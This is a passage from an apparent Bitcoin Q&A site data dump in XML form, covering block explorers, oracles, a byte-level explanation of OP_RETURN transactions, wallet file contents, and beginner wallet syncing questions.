href=&quot;http://windows.microsoft.com/en-us/windows/end-support-help&quot; rel=&quot;nofollow&quot;&gt;supporting it.&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2014-07-17T19:47:53.727" LastActivityDate="2014-07-17T19:47:53.727" CommentCount="0" CommunityOwnedDate="2014-07-17T19:39:06.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="29547" PostTypeId="1" AcceptedAnswerId="29556" CreationDate="2014-07-17T19:52:00.300" Score="2" ViewCount="1472" Body="&lt;p&gt;I am thinking about the 'science' of block explorers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to a block explorer and view an address, I see a list of transactions in that address and current balance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this technically just the contents of each block being stored as they are created (or retroactively parsed) and assigning a database entry for each new element found in that block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or even storing every unconfirmed transaction's data as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Writing this out, I think I answered my own question, but maybe there is some more efficient or clever thing going on here&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2016-06-28T11:28:29.497" Title="block explorer, just a parser and database query?" Tags="|blockexplorer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29548" PostTypeId="1" CreationDate="2014-07-17T20:53:09.077" Score="1" ViewCount="1835" Body="&lt;p&gt;I recently bought a BTC-wallet from my friend. It has a cold storage wallet (&quot;Watch only&quot;) and a private key (which is a bunch of numbers and letters). How can I use it in Blockchain.info? How do I make (confirm?) transactions with it?&lt;/p&gt;&#xA;" OwnerUserId="18638" LastEditorUserId="5406" LastEditDate="2014-08-02T15:29:57.150" LastActivityDate="2014-08-02T15:34:15.720" Title="How can I import a private-key to Blockchain.info in order to use it?" Tags="|blockchain.info|import|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29550" PostTypeId="2" ParentId="24401" CreationDate="2014-07-17T21:20:23.423" Score="1" Body="&lt;p&gt;The problem with using blockchain to verify external world transactions is that the protocol requires that everyone is able to verify that any given block is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, at any given time, any miner can get back to the block #2, and verify that all the transactions were valid in that block. That is obviously only possible when the transactions don't reference an external input. Because if txs reference external input, the input might've been changed in the meantime, and you can't do that any more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it important to check the validity of the blocks? Because that's what blockchain is - the longest series of blocks since the first one. Your bitcoin client, when it wants to figure out which blockchain is the proper one, downloads all the blockchains that people claim are &quot;the one&quot;, then weeds out the ones containing improper blocks, and then chooses the one that is the longest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why there are no blockchain-based currencies that support external inputs and people use oracles for that. That's why Ethereum has all cool contract mechanisms but those contracts can't reference external outputs :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find some of the answers in &lt;a href=&quot;https://github.com/orisi/wiki/wiki/Orisi-White-Paper&quot; rel=&quot;nofollow&quot;&gt;Orisi.org/distributed oracles whitepaper&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17060" LastActivityDate="2014-07-17T21:20:23.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29551" PostTypeId="2" ParentId="23922" CreationDate="2014-07-17T21:28:21.210" Score="1" Body="&lt;p&gt;There is Orisi.org - you can read the whitepaper here &lt;a href=&quot;https://github.com/orisi/wiki/wiki/Performing-a-Timelock-transaction&quot; rel=&quot;nofollow&quot;&gt;Orisi.org/distributed oracles whitepaper&lt;/a&gt;, and run an &lt;a href=&quot;https://github.com/orisi/wiki/wiki/Performing-a-Timelock-transaction&quot; rel=&quot;nofollow&quot;&gt;example Timelock contract&lt;/a&gt; here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The differences between distributed oracles/Orisi and Ethereum are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Orisi works on top of Bitcoin, so there are no other currencies inbetween&lt;/li&gt;&#xA;&lt;li&gt;oracles can reference external inputs, so you can create a contract that finalizes based on weather/currency prices, or even &lt;a href=&quot;http://orisi.net/discussion/4/mturk-and-distributed-oracles-two-tiered-arbitration#latest&quot; rel=&quot;nofollow&quot;&gt;mechanical turk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;it's available today&lt;/li&gt;&#xA;&lt;li&gt;on the other hand, it has a different trust mechanism than Ethereum - oracles are supposed to be run by trusted independent parties. So, instead of proof of work, you have a proof of identity.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can also read this blogpost by one of the bitcoin core devs: &lt;a href=&quot;http://gavintech.blogspot.com/2014/06/bit-thereum.html&quot; rel=&quot;nofollow&quot;&gt;bit-thereum&lt;/a&gt;. It explains why m of n oracles might be a good solution for contracts.&lt;/p&gt;&#xA;" OwnerUserId="17060" LastActivityDate="2014-07-17T21:28:21.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29552" PostTypeId="5" CreationDate="2014-07-17T21:50:27.447" Score="0" Body="&lt;p&gt;An oracle is an automatic program signing bitcoin transactions once a certain condition has been met. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example - Alice wants to send Bob a bitcoin if the weather is nice in Berlin in a week. Alice creates an 2 of 2 multisig address &amp;amp; transaction. One signature belongs to Bob, and one to an oracle. Once the condition is met, oracle publishes a signed transaction, and then Bob is able to withdraw money. In such a setup, an oracle cannot withdraw money by itself, nor can Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For added security it's also possible to have multiple oracles guarding a contract, utilizing up to 8 of 15 signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further reading:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Wiki entry on Smart Contracts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://earlytemple.com:8181/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Earlytemple project&lt;/a&gt; - a first oracle in existence&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/orisi/wiki/wiki/Orisi-White-Paper&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orisi whitepaper&lt;/a&gt; - a whitepaper and example implementation of distributed oracles&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gavintech.blogspot.com/2014/06/bit-thereum.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bit-thereum&lt;/a&gt; - an explanation by one of the bitcoin core developers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="17060" LastEditorUserId="42185" LastEditDate="2018-10-11T03:23:53.617" LastActivityDate="2018-10-11T03:23:53.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29553" PostTypeId="4" CreationDate="2014-07-17T21:50:27.447" Score="0" Body="An oracle is an automatic program signing bitcoin transactions once a certain condition has been met." OwnerUserId="17060" LastEditorUserId="17060" LastEditDate="2014-07-19T08:46:09.430" LastActivityDate="2014-07-19T08:46:09.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29554" PostTypeId="1" AcceptedAnswerId="29555" CreationDate="2014-07-17T21:56:00.530" Score="66" ViewCount="43650" Body="&lt;p&gt;How is OP_RETURN used and why was it introduced in the first place?&lt;/p&gt;&#xA;" OwnerUserId="17080" LastEditorUserId="307" LastEditDate="2015-01-06T18:57:31.560" LastActivityDate="2022-06-27T21:47:42.647" Title="Explanation of what an OP_RETURN transaction looks like" Tags="|transactions|protocol|script|op-return|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29555" PostTypeId="2" ParentId="29554" CreationDate="2014-07-17T22:00:30.860" Score="96" Body="&lt;p&gt;Note: I went out and learned about how the &lt;code&gt;OP_RETURN&lt;/code&gt; opcode works at the byte level in a bitcoin transaction. I’m writing it here so that others can learn quickly. First, a brief history of why we’re even talking about &lt;code&gt;OP_RETURN&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in 2013 different players in the bitcoin ecosystem were trying to include bits of information into transactions so that they could take advantage of the irreversibility of the blockchain. Imagine for instance you wanted to write a contract and place it in an unchangeable location that at any future date one could go back to verify it existed. You can do this by using the blockchain. You add some bits to the transaction's scriptSig value that don't alter the end result of running that script, but allow you to store information like “I hereby declare to give asset A to address XYZ at time UNIX_TIMESTAMP”. There were even stranger ways people would add extra bits, like including it in the BTC value of an output. Some members of the community did not like this, as they saw these extra bits as polluting the blockchain. The extra bits were a network efficiency concern because more bits meant larger block chains and more of an onus on those who are running full nodes, and it was also a community consensus concern because they thought “we all implicitly agreed to store financial data in the blockchain, which is important to everyone, but we did not agree to store data like small text messages and invoice text”. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reach a middle ground in these opposing views, the core-developers made the opcode OP_RETURN a valid opcode to be used in a bitcoin transaction, which allows 80 arbitrary bytes to be used in an unspendable transaction. A good explanation of this can be found here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://bitcoinfoundation.org/bitcoin/core-development-update-5/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Later in February 2014, the bytes count was reduced from 80 to 40 bytes. This change is documented in the link below. Note that in this pull discussion we learn that no more than one output with OP_RETURN can be included in a single transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://github.com/bitcoin/bitcoin/pull/3737&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we’ve got the reason behind OP_RETURN down, let’s look at an example of OP_RETURN. I used chain.com’s API to find a transaction which has an OP_RETURN in its scriptSig. That tx’s hash is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8bae12b5f4c088d940733dcd1455efc6a3a69cf9340e17a981286d3778615684 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you are connected to a fully-loaded bitcoind node, and run this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; bitcoind getrawtransaction 8bae12b5f4c088d940733dcd1455efc6a3a69cf9340e17a981286d3778615684 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will give you this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;hex&quot; : &quot;0100000001c858ba5f607d762fe5be1dfe97ddc121827895c2562c4348d69d02b91dbb408e010000008b4830450220446df4e6b875af246800c8c976de7cd6d7d95016c4a8f7bcdbba81679cbda242022100c1ccfacfeb5e83087894aa8d9e37b11f5c054a75d030d5bfd94d17c5bc953d4a0141045901f6367ea950a5665335065342b952c5d5d60607b3cdc6c69a03df1a6b915aa02eb5e07095a2548a98dcdd84d875c6a3e130bafadfd45e694a3474e71405a4ffffffff020000000000000000156a13636861726c6579206c6f766573206865696469400d0300000000001976a914b8268ce4d481413c4e848ff353cd16104291c45b88ac00000000&quot;,&#xA;&quot;txid&quot; : &quot;8bae12b5f4c088d940733dcd1455efc6a3a69cf9340e17a981286d3778615684&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;    {&#xA;        &quot;txid&quot; : &quot;8e40bb1db9029dd648432c56c295788221c1dd97fe1dbee52f767d605fba58c8&quot;,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;scriptSig&quot; : {&#xA;            &quot;asm&quot; : &quot;30450220446df4e6b875af246800c8c976de7cd6d7d95016c4a8f7bcdbba81679cbda242022100c1ccfacfeb5e83087894aa8d9e37b11f5c054a75d030d5bfd94d17c5bc953d4a01 045901f6367ea950a5665335065342b952c5d5d60607b3cdc6c69a03df1a6b915aa02eb5e07095a2548a98dcdd84d875c6a3e130bafadfd45e694a3474e71405a4&quot;,&#xA;            &quot;hex&quot; : &quot;4830450220446df4e6b875af246800c8c976de7cd6d7d95016c4a8f7bcdbba81679cbda242022100c1ccfacfeb5e83087894aa8d9e37b11f5c054a75d030d5bfd94d17c5bc953d4a0141045901f6367ea950a5665335065342b952c5d5d60607b3cdc6c69a03df1a6b915aa02eb5e07095a2548a98dcdd84d875c6a3e130bafadfd45e694a3474e71405a4&quot;&#xA;        },&#xA;        &quot;sequence&quot; : 4294967295&#xA;    }&#xA;],&#xA;&quot;vout&quot; : [&#xA;    {&#xA;        &quot;value&quot; : 0.00000000,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_RETURN 636861726c6579206c6f766573206865696469&quot;,&#xA;            &quot;hex&quot; : &quot;6a13636861726c6579206c6f766573206865696469&quot;,&#xA;            &quot;type&quot; : &quot;nulldata&quot;&#xA;        }&#xA;    },&#xA;    {&#xA;        &quot;value&quot; : 0.00200000,&#xA;        &quot;n&quot; : 1,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_DUP OP_HASH160 b8268ce4d481413c4e848ff353cd16104291c45b OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;            &quot;hex&quot; : &quot;76a914b8268ce4d481413c4e848ff353cd16104291c45b88ac&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;1HnhWpkMHMjgt167kvgcPyurMmsCQ2WPgg&quot;&#xA;            ]&#xA;        }&#xA;    }&#xA;],&#xA;&quot;blockhash&quot; : &quot;000000000000000004c31376d7619bf0f0d65af6fb028d3b4a410ea39d22554c&quot;,&#xA;&quot;confirmations&quot; : 2655,&#xA;&quot;time&quot; : 1404107109,&#xA;&quot;blocktime&quot; : 1404107109&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, look at this transaction’s list of outputs, in particular the 1st one. By referencing &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;the Bitcoin Wiki’s page on Script&lt;/a&gt;, Bitcoin’s stack-based programming language, we can see here that the &lt;code&gt;OP_RETURN&lt;/code&gt; opcode is represented by the hex value 0x6a. This first byte it followed by a byte which represents the length of the rest of the bytes in the scriptPubKey. In this case we see the hex value Ox13, which means there are 19 more bytes. These bytes comprise the arbitrary less-than-40 bytes you are allowed to send in a transaction marked by the &lt;code&gt;OP_RETURN&lt;/code&gt; opcode. If you pop the message bytes into a UTF8 decoder, you’ll see that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;636861726c6579206c6f766573206865696469&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes “charley loves heidi”. Aw! It’s almost like a digital version of a couple’s romantic heart tree carving. Now you understand at a byte level how &lt;code&gt;OP_RETURN&lt;/code&gt; is supposed to work. You can write software now that searches for the &lt;code&gt;OP_RETURN&lt;/code&gt; opcode in an output’s scriptPubKey, and use it to verify a contract or some other digital asset.&lt;/p&gt;&#xA;" OwnerUserId="17080" LastEditorUserId="963" LastEditDate="2020-06-15T00:44:31.570" LastActivityDate="2020-06-15T00:44:31.570" CommentCount="15" ContentLicense="CC BY-SA 4.0" />
  <row Id="29556" PostTypeId="2" ParentId="29547" CreationDate="2014-07-17T23:16:02.583" Score="3" Body="&lt;p&gt;Yeah, that's how they work. For example, blockexplorer.com gets blocks from Bitcoin Core via JSON-RPC, gathers interesting chunks of data, and puts this data into a SQL database for easy access later. &lt;a href=&quot;https://github.com/lirazsiri/blockexplorer/blob/master/bin/blockupdate.php&quot; rel=&quot;nofollow&quot;&gt;The code for this is only ~300 lines long&lt;/a&gt; (though it's very messy). Other block explorers work similarly. In fact, Bitcoin Core itself works something like this, though it uses a key-value database instead of a relational database, and it doesn't store any info about addresses.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2014-07-17T23:16:02.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29557" PostTypeId="1" AcceptedAnswerId="29562" CreationDate="2014-07-18T00:22:25.450" Score="1" ViewCount="1034" Body="&lt;p&gt;I really don't understand why the strong coupling here.  I mean, whenever I go and make a backup, if there's a new transaction involved, the hash of the backup changes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder why this is.  And furthermore, wouldn't it be 'better' (or what is lost?) by having a loosely-coupled transactions file that wouldn't change a bit after a transaction?&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2014-07-18T04:50:49.660" Title="Bitcoin core: why does the wallet file contain transactions?" Tags="|wallet|wallet.dat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29558" PostTypeId="2" ParentId="29530" CreationDate="2014-07-18T02:42:46.757" Score="4" Body="&lt;p&gt;The conclusion that no consensus has been reached is a valid conclusion and can result due to poor topology or Byzantine failure. Certainty is always with respect to something that has occurred in the past. It is not possible to know with certainty the present state without observing at more points than will normally be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So each server runs out ahead of what it knows for certain, applying transactions and attempting to reach consensus on them. When and if a consensus is in fact produced, the server later determines this with certainty, and thus can advance what it knows for certain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, the consensus process produces a a stream of signed messages called &quot;validations&quot; from which it's possible to determine with certainty whether a consensus had actually been reached at some point in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to create UNL topologies that frequently fail to reach consensus. The plan is to have Ripple servers build their UNLs using an algorithm that makes such topologies exceedingly unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with a perfect topology, two types of Byzantine failures are possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One, which is not that uncommon (one out of every 200 rounds or so), is a local failure. In order for a consensus to ever arise, someone has to declare a consensus. And for that to happen, someone must declare a consensus first. When that happens, whoever makes that declaration can't know for certain that others will declare that same consensus (or they would have already done so, and so he wouldn't be first). So it's always possible that he declares the wrong consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, the server that suffered the Byzantine failure quickly discovers that the other validators have built a different ledger than it did and it begins its resynchronization process. Other servers will still, from the validations, which ledger was the majority ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A much less common type of failure is complete Byzantine failure. In this case, several servers declare different consensuses and there is no clear majority ledger. In this rare case, the network as a whole must reconverge before a true consensus will emerge. Ripple has an algorithm to do exactly this. Servers will see the conflicting validations and know with certainty that there was no actual consensus.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-07-18T02:48:53.287" LastActivityDate="2014-07-18T02:48:53.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29559" PostTypeId="2" ParentId="29557" CreationDate="2014-07-18T04:10:11.197" Score="2" Body="&lt;p&gt;It needs the transactions for faster outgoing transactions. What I mean is that to broadcast a new transactions the transactions that involved the bitcoins being sent should be included in the script of the raw transaction so it needs to store them somewhere to be able to include them in the raw transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to have them in a separate file or not to store them at all but this is how it has been implemented for better performance.&lt;/p&gt;&#xA;" OwnerUserId="9876" LastActivityDate="2014-07-18T04:10:11.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29560" PostTypeId="2" ParentId="29548" CreationDate="2014-07-18T04:28:03.673" Score="1" Body="&lt;p&gt;you question is not clear, what exactly have you bought?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyhow if you have the private key you can import them in blockchain.info wallet in the Import/Export section. but if you bought it from someone else he/she also has the private key and so the ability to spend the bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="9876" LastActivityDate="2014-07-18T04:28:03.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29561" PostTypeId="2" ParentId="29545" CreationDate="2014-07-18T04:33:35.900" Score="0" Body="&lt;p&gt;It is the index of the block in blockchain.info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be the latest block for now: &#xA;&lt;a href=&quot;https://blockchain.info/block-index/311271?format=json&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/block-index/311271?format=json&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9876" LastActivityDate="2014-07-18T04:33:35.900" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29562" PostTypeId="2" ParentId="29557" CreationDate="2014-07-18T04:50:49.660" Score="5" Body="&lt;p&gt;You can't spend bitcoins without having the transactions in which you received the bitcoins. Bitcoin Core also needs to actually know about your transactions to display them with RPC commands like &lt;code&gt;listtransactions&lt;/code&gt;. Reconstructing this data from the block chain is &lt;em&gt;extremely&lt;/em&gt; slow. Try running Bitcoin with the -rescan switch, which searches the entire block chain for wallet transactions: it often takes 15 minutes or more. Sites like blockchain.info can only get info about addresses and transactions quickly because they maintain huge indexes of addresses/transactions, but Bitcoin Core does not maintain such indexes. Also, it is very likely that Bitcoin Core will eventually start throwing away most block chain data to save disk space. If this happens, then you will be unable to recover your wallet transactions without downloading a big chunk of the block chain again. So saving these transactions is in fact pretty important, and they should be backed up along with your keys in wallet.dat.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2014-07-18T04:50:49.660" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29564" PostTypeId="2" ParentId="29523" CreationDate="2014-07-18T06:41:58.373" Score="1" Body="&lt;p&gt;Yes, you have to wait. Otherwise you would be able to pay things with money you don't have in your wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have spent all your bitcoins, but since your wallet is not synced you may be able to spend money you have already spent but has not been synced, thus it is not allowed to do that.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-07-18T06:41:58.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29565" PostTypeId="2" ParentId="29545" CreationDate="2014-07-18T06:56:48.313" Score="1" Body="&lt;p&gt;I think that this value is an internal &lt;strong&gt;unique&lt;/strong&gt; index in bc.i database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not possible to use txid as an index because of 2x2 duplicate transactions in blockchain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/d5d27987d2a3dfc724e359870c6644b40e497bdc0589a033220fe15429d88599&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/d5d27987d2a3dfc724e359870c6644b40e497bdc0589a033220fe15429d88599&lt;/a&gt;&#xA;&lt;a href=&quot;https://blockchain.info/tx/e3bf3d07d4b0375638d5f1db5255fe07ba2c4cb067cd81b84ee974b6585fb468&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/e3bf3d07d4b0375638d5f1db5255fe07ba2c4cb067cd81b84ee974b6585fb468&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;occurred in the early stage of bitcoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see BIP-30 &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPD: ok, you are asking about &lt;strong&gt;block&lt;/strong&gt; index, but my answer is for &lt;strong&gt;tx&lt;/strong&gt; index. May be using straight autoincrement int64 value for database is better than int256&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2014-07-18T07:23:58.330" LastActivityDate="2014-07-18T07:23:58.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29569" PostTypeId="1" AcceptedAnswerId="29570" CreationDate="2014-07-18T12:36:28.367" Score="0" ViewCount="1394" Body="&lt;p&gt;For all noobs and cryptocurrencies, is there anywhere a tutorial on how to use the wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed several wallets that are just the same thing with a different name, but so far the only thing i get to know is that they give an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They all have an overview with the balance on the account at 0 coins, that's fine.&#xA;Then a tag of sending and asking coins, I can also get to understand what that does, even when it's empty and the only way to find other addresses is person to person. Now the crazy stuff that makes me wonder do i have to be a programmer to use these things?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is that thing (Out of Sync) next to the wallet in red letters? How do I fix that? How can I &quot;Sync&quot; what exactly? Since when I install primecoin wallet for example, it starts downloading a bunch of crazy stuffs updating a bunch of weeks and after is finally done, it just tells me that the wallet is out of sync, and there's nothing i can do about it and I googled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And people just mention but never explain a scary debug window with a console that i have no idea what it does or what should I do with that, and they only post code stuffs that if I copy paste won't work, at least not in all wallets and in those that accepted that code, it does absolutely nothing that I can know of....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a newbie guide on how to get to use a wallet? primecoin, dogecoin, rainbowcoin, aimcoin... they all look just the same, and people talk about mining some few coins just by keeping them open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me? Please explain in baby steps I know nothing about scripts or pools or codes, or encryption, and is really frustrating me because I want to learn.&lt;/p&gt;&#xA;" OwnerUserId="18651" LastEditorUserId="5757" LastEditDate="2014-07-18T18:57:12.157" LastActivityDate="2014-07-19T01:21:09.963" Title="debug window of wallets" Tags="|wallet|" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-26T21:41:32.730" ContentLicense="CC BY-SA 3.0" />
  <row Id="29570" PostTypeId="2" ParentId="29569" CreationDate="2014-07-18T13:10:30.310" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I've notices several wallets that are just the same thing with a&#xA;  different name, but so far the only thing i get to know is that they&#xA;  give an address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They do much more than just giving you an address. They also download and store the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow&quot;&gt;Blockchain&lt;/a&gt; which contains all transactions ever made. Those data are needed to check, if one of your addresses received a payment. Those data are also needed to send data to a different address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;they all have an overview with the balance on the account at 0 coins, that's fine then a tag of sending and asking coins, I can also get to understand what that does even when is empty and the only thing i guess i have to find other addresses is person to person, now the crazy stuff that makes me wonder do i have to be a programmer to use these things?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're right, you will get addresses from other persons or from the internet. You do not need to be a programmer. With a wallet it's like sending an e-mail, but instead of sending text, you send bitcoin. For sending bitcoin, you need to receive some first. That can be done by buying them in online trades or at an &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitcoin_ATM&quot; rel=&quot;nofollow&quot;&gt;ATM&lt;/a&gt;s. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what is that thing (Out of Sync) next to the wallet in red letters? how do I fix that? How can I &quot;Sync&quot; what exactly? since when i install primecoin wallet for example, it starts downloading a bunch of crazy stuffs updating a bunch of weeks and after is finally done, it just tells me that the wallet is out of sync, and there's nothing i can do about it and i google&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As I said before, the crazy stuff which is downloaded is the blockchain. For Bitcoin it can take really long, because currently its size is about 20 GB. There are different types of wallet. The &lt;a href=&quot;http://www.coindesk.com/bitcoin-nodes-need/&quot; rel=&quot;nofollow&quot;&gt;full node&lt;/a&gt;, for example &lt;a href=&quot;https://bitcoin.org/de/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Core&lt;/a&gt;, which I guess is the one you downloaded, is mostly for the professional user. It contains the complete blockchain, and needs very long to sync.  An other type is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability#Simplified_payment_verification&quot; rel=&quot;nofollow&quot;&gt;SPV&lt;/a&gt; (Simplified Payment Verification) for example &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt;. This one dont need to download the complete blockchain, it will only download the headers, which save a lot of traffic and storage. Those are also available for smartphones and are often used by the average users. A third type is the web-wallet, like &lt;a href=&quot;https://blockchain.info/de/wallet&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; for those you wont need to download any data, you can access them through you browser.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and people just mention but never explain a scary debug window with a&#xA;  console that i have no idea what it does or what should i do with&#xA;  that, and they only post code stuffs that if i copy paste won't work,&#xA;  at least not in all wallets and in those that accepted that code, does&#xA;  absolutely nothing that i can know of....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is only for developers and those post a mostly related to the bitcoin-core wallet and its &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC interface&lt;/a&gt;. You don't need those for normal usage.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is there a newbie guide on how to get to use a wallet? primecoin, dogecoin, rainbowcoin, aimcoin... they all look just the same, and people talk about mining some few coins just by keeping them open :S&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All those wallets have the same 